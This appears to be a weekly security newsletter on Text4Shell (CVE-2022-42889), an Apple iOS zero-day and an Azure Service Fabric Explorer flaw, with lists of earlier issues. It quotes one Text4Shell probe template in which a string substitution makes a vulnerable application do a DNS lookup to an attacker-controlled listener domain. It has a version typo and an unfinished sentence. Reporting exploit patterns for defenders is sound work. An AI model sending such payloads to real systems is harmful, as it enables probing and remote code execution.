—-

This week we deep dive into the application security vulnerability for apache commons text4shell and the cloud security vulnerability exploit (fixed) service fabric.

—-

Previous Issues of Vulnerability Weekly

• Security Vulnerability of the Week 3/10/22 – Application Security – Cloud – Vulnerability – Exchange Zero Day & Mitigations, bitbucket, cobalt stike
• Security Vulnerability of the Week 12/09/22 – Application Security – Cloud Security – Linux Malware, Windows patched 64 vulns with zero-day, Uber Hack Timeline, GTA 6/Rockstar Hack – This week we deep dive into Linux Malware, Windows patched 64 vuln with zero day, Uber Hack Timeline, GTA 6/Rockstar Hack
• Security Vulnerability of the Week 12/09/22 – Application Security – Uber Hack Timeline – Special Focus on Uber latest news on hack
• Security Vulnerability Weekly 22/08/22 – Apple Vulnerability, Android Bugdrop Vulnerability, WordPress, CISA, and recent Hacks to Mailchimp and Twilio –  Apple Vulnerability, CISA new vulnerability for September, Bugdrop new android vulnerabilities, recent hacks to twilio exposing digital ocaean clients and Mailchimp hack
• Security Vulnerability of the Week 08/08/22 – Atlassian Hardcoded Credentials, Sonicwall GSM, Cisco Nexus, Microsoft Macro, Vmware Fix, Mac OS spotlight vulnerability and more 

Application Security

Attackers started exploiting the new Apache Commons Text 4 Shell.

Wordfence on Thursday said it started detecting exploitation attempts targeting the newly disclosed application security flaw in Apache Commons Text on October 18, 2022.

The new vulnerability, CVE-2022-42889, aka Text4Shell, has been assigned a severity ranking of 9.8 out of a possible 10.0 even though the assessment is undergoing new scrutiny. 

The security issue affects libraries versions 1.5 through 19.

The vulnerability resembles the widespread and infamous Log4Shell vuln in that the issue is rooted in how to string substitutions carried out during DNS, script, and URL lookups could lead to the execution of arbitrary code on susceptible systems when passing untrusted input.

The original log4shell was difficult to detect and ingrained in many common libraries, this new version.

“The attacker can send a crafted payload remotely using ‘script,’ ‘dns,’ and ‘url’ lookups to achieve arbitrary remote code execution,” the Zscaler ThreatLabZ team explained.

Like Log4j, a threat actor can send a well-crafted string and open a reverse shell connection with the vulnerable application. A specifically crafted payload can trigger this shell, effectively opening the door for follow-on attacks.

From Zscaler blog

“Most of the payloads we have observed and are tracking appear in query string parameters or headers and use one of the following formats:

DNS prefix: ${dns:address:<victimdomain>.<unique identifier>.<listenerdomain>}” 

Quote from https://www.wordfence.com/blog/2022/10/threat-advisory-monitoring-cve-2022-42889-text4shell-exploit-attempts/ 

“Fortunately, not all library users would be affected by this security issue – unlike Log4j in the Log4Shell vuln, which was vulnerable even in its most basic use cases,” Checkmarx researcher Yaniv Nizry said.

Users with direct dependencies is recommended to upgrade to the fixed version to mitigate potential threats. 

According to Maven, as many as 2,593 projects use the library, although Flashpoint noted that very few of those listed use the vulnerable method.

INFRA and Network Vulnerabilities

Apple Vulnerability fixes the last zero day of the list.

In a recent update ( Monday, 24th), Apple has fixed the ninth zero-day security issue used in attacks against iPhones since the start of the year. 

The bug (CVE-2022-42827) is an out-of-bounds write issue reported to Apple by an anonymous researcher and caused by software writing data outside the boundaries of the current memory buffer.

No information on the attack and exploitation of that vulnerability. Apple still needs to address and disclose them.

This zero-day bug was most likely only used in highly-targeted attacks.

Installing this update prevents those attacks; hence is highly recommended. 

This will likely allow Apple customers to patch their devices before more attackers develop additional exploits and start using them in attacks targeting vulnerable iPhones and iPads.

Following the full list of vulnerabilities fixed since the beginning of the year by apple

• In September, Apple addressed a flaw in the iOS Kernel (CVE-2022-32917).
• In August, it fixed two more zero-days in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)
• In March, Apple patched two zero-day in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).
• In February, Apple released security updates to address another WebKit zero-day bug exploited to target iPhones, iPads, and Macs.
• In January, Apple patched another pair of zero-days allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). 

Cloud Security

Azure SFX flaw could have been used to exploit the machine and gain admin access (aka Fabricsape)

now-patched security flaw in Azure Service Fabric Explorer (SFX) 

The cloud security misconfiguration/vuln, tracked as CVE-2022-35829, carried a CVSS severity rating of 6.2 and was addressed by Microsoft as part of its Patch Tuesday updates last week.

SFX is described by Microsoft as an open-source tool for inspecting and managing Azure Service Fabric clusters, a distributed systems platform that’s used to build and deploy microservices-based cloud applications.

Armed with this exploit, an adversary can send the specially crafted input during the application creation step, eventually leading to its execution.

“This includes performing a Cluster Node reset, which erases all customized settings such as passwords and security configurations, allowing an attacker to create new passwords and gain full Administrator permissions,” Orca Security researchers Lidor Ben Shitrit and Roee Sagi said.

Previous Issues of vulnerability Weekly

• Security Vulnerability of the Week 3/10/22 – Application Security – Cloud – Vulnerability – Exchange Zero Day & Mitigations, bitbucket, cobalt stike
• Security Vulnerability of the Week 12/09/22 – Application Security – Cloud Security – Linux Malware, Windows patched 64 vulns with zero-day, Uber Hack Timeline, GTA 6/Rockstar Hack – This week we deep dive into Linux Malware, Windows patched 64 vuln with zero-day, Uber Hack Timeline, GTA 6/Rockstar Hack
• Security Vulnerability of the Week 12/09/22 – Application Security – Uber Hack Timeline – Special Focus on Uber latest news on hack
• Security Vulnerability Weekly 22/08/22 – Apple Vulnerability, Android Bugdrop Vulnerability, WordPress, CISA, and recent Hacks to Mailchimp and Twilio –  Apple Vulnerability, CISA new vulnerability for September, Bugdrop new android vulnerabilities, recent hacks to twilio exposing digital ocaean clients and Mailchimp hack
• Security Vulnerability of the Week 08/08/22 – Atlassian Hardcoded Credentials, Sonicwall GSM, Cisco Nexus, Microsoft Macro, Vmware Fix, Mac OS spotlight vulnerability and more